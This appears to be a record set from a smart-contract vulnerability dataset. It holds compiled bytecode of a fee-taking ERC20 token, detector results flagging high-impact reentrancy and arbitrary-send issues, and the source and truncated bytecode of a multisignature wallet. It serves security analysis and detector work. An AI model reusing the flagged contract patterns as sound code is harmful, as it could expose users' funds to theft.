6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122094d952ce031f68937b8151ff11f500dbead8885a12194652fd3b579adcfe038764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,858
0x46309389fb1bf3adf73cfee86d0ded347adb88f8
pragma solidity ^0.4.11; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<span class="__cf_email__" data-cfemail="a9daddcccfc8c787ceccc6dbcecce9cac6c7daccc7dad0da87c7ccdd">[email&#160;protected]</span>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed _sender, uint indexed _transactionId); event Revocation(address indexed _sender, uint indexed _transactionId); event Submission(uint indexed _transactionId); event Execution(uint indexed _transactionId); event ExecutionFailure(uint indexed _transactionId); event Deposit(address indexed _sender, uint _value); event OwnerAddition(address indexed _owner); event OwnerRemoval(address indexed _owner); event RequirementChange(uint _required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filters are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461016a578063173825d91461019c57806320ea8d86146101bd5780632f54bf6e146101d55780633411c81c14610208578063547415251461023e5780637065cb481461026d578063784547a71461028e5780638b51d13f146102b85780639ace38c2146102e0578063a0e67e2b1461039f578063a8abe69a14610406578063b5dc40c31461047d578063b77bf600146104e7578063ba51a6df1461050c578063c01a8c8414610524578063c64274741461053c578063d74f8edd146105b3578063dc8452cd146105d8578063e20056e6146105fd578063ee22610b14610624575b6101685b60003411156101655733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b565b005b341561017557600080fd5b61018060043561063c565b604051600160a060020a03909116815260200160405180910390f35b34156101a757600080fd5b610168600160a060020a036004351661066e565b005b34156101c857600080fd5b61016860043561081f565b005b34156101e057600080fd5b6101f4600160a060020a0360043516610901565b604051901515815260200160405180910390f35b341561021357600080fd5b6101f4600435600160a060020a0360243516610916565b604051901515815260200160405180910390f35b341561024957600080fd5b61025b60043515156024351515610936565b60405190815260200160405180910390f35b341561027857600080fd5b610168600160a060020a03600435166109a5565b005b341561029957600080fd5b6101f4600435610ada565b604051901515815260200160405180910390f35b34156102c357600080fd5b61025b600435610b6e565b60405190815260200160405180910390f35b34156102eb57600080fd5b6102f6600435610bed565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a08301908590801561038d5780601f106103625761010080835404028352916020019161038d565b820191906000526020600020905b81548152906001019060200180831161037057829003601f168201915b50509550505050505060405180910390f35b34156103aa57600080fd5b6103b2610c21565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b341561041157600080fd5b6103b260043560243560443515156064351515610c8a565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b341561048857600080fd5b6103b2600435610db8565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b34156104f257600080fd5b61025b610f3a565b60405190815260200160405180910390f35b341561051757600080fd5b610168600435610f40565b005b341561052f57600080fd5b610168600435610fce565b005b341561054757600080fd5b61025b60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110c095505050505050565b60405190815260200160405180910390f35b34156105be57600080fd5b61025b6110e0565b60405190815260200160405180910390f35b34156105e357600080fd5b61025b6110e5565b60405190815260200160405180910390f35b341561060857600080fd5b610168600160a060020a03600435811690602435166110eb565b005b341561062f57600080fd5b6101686004356112ac565b005b600380548290811061064a57fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561069057600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107b45782600160a060020a031660038381548110151561070357fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a85760038054600019810190811061074457fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561077357fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107b4565b5b6001909101906106dc565b6003805460001901906107c7908261150a565b5060035460045411156107e0576003546107e090610f40565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084757600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087c57600080fd5b600084815260208190526040902060030154849060ff161561089d57600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561099d57838015610963575060008181526020819052604090206003015460ff16155b806109875750828015610987575060008181526020819052604090206003015460ff165b5b15610994576001820191505b5b60010161093a565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c557600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109ed57600080fd5b81600160a060020a0381161515610a0357600080fd5b6003805490506001016004546032821180610a1d57508181115b80610a26575080155b80610a2f575081155b15610a3957600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a71838261150a565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b665760008481526001602052604081206003805491929184908110610b0857fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b4a576001820191505b600454821415610b5d5760019250610b66565b5b600101610adf565b5b5050919050565b6000805b600354811015610be65760008381526001602052604081206003805491929184908110610b9b57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bdd576001820191505b5b600101610b72565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c2961155e565b6003805480602002602001604051908101604052809291908181526020018280548015610c7f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c61575b505050505090505b90565b610c9261155e565b610c9a61155e565b600080600554604051805910610cad5750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4557858015610cf3575060008181526020819052604090206003015460ff16155b80610d175750848015610d17575060008181526020819052604090206003015460ff165b5b15610d3c5780838381518110610d2a57fe5b60209081029091010152600191909101905b5b600101610cca565b878703604051805910610d555750595b908082528060200260200182016040525b5093508790505b86811015610dac57828181518110610d8157fe5b906020019060200201518489830381518110610d9957fe5b602090810290910101525b600101610d6d565b5b505050949350505050565b610dc061155e565b610dc861155e565b6003546000908190604051805910610ddd5750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ec05760008581526001602052604081206003805491929184908110610e2357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eb7576003805482908110610e6c57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9857fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610dfa565b81604051805910610ece5750595b908082528060200260200182016040525b509350600090505b81811015610f3157828181518110610efb57fe5b90602001906020020151848281518110610f1157fe5b600160a060020a039092166020928302909101909101525b600101610ee7565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f6057600080fd5b600354816032821180610f7257508181115b80610f7b575080155b80610f84575081155b15610f8e57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610ff657600080fd5b6000828152602081905260409020548290600160a060020a0316151561101b57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561104f57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f7856112ac565b5b5b50505b505b5050565b60006110cd84848461140b565b90506110d881610fce565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561110d57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561113657600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561115e57600080fd5b600092505b6003548310156112065784600160a060020a031660038481548110151561118657fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111fa57836003848154811015156111c557fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611206565b5b600190920191611163565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112cd57600080fd5b6112d683610ada565b15610818576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a031691600285019051808280546001816001161561010002031660029004801561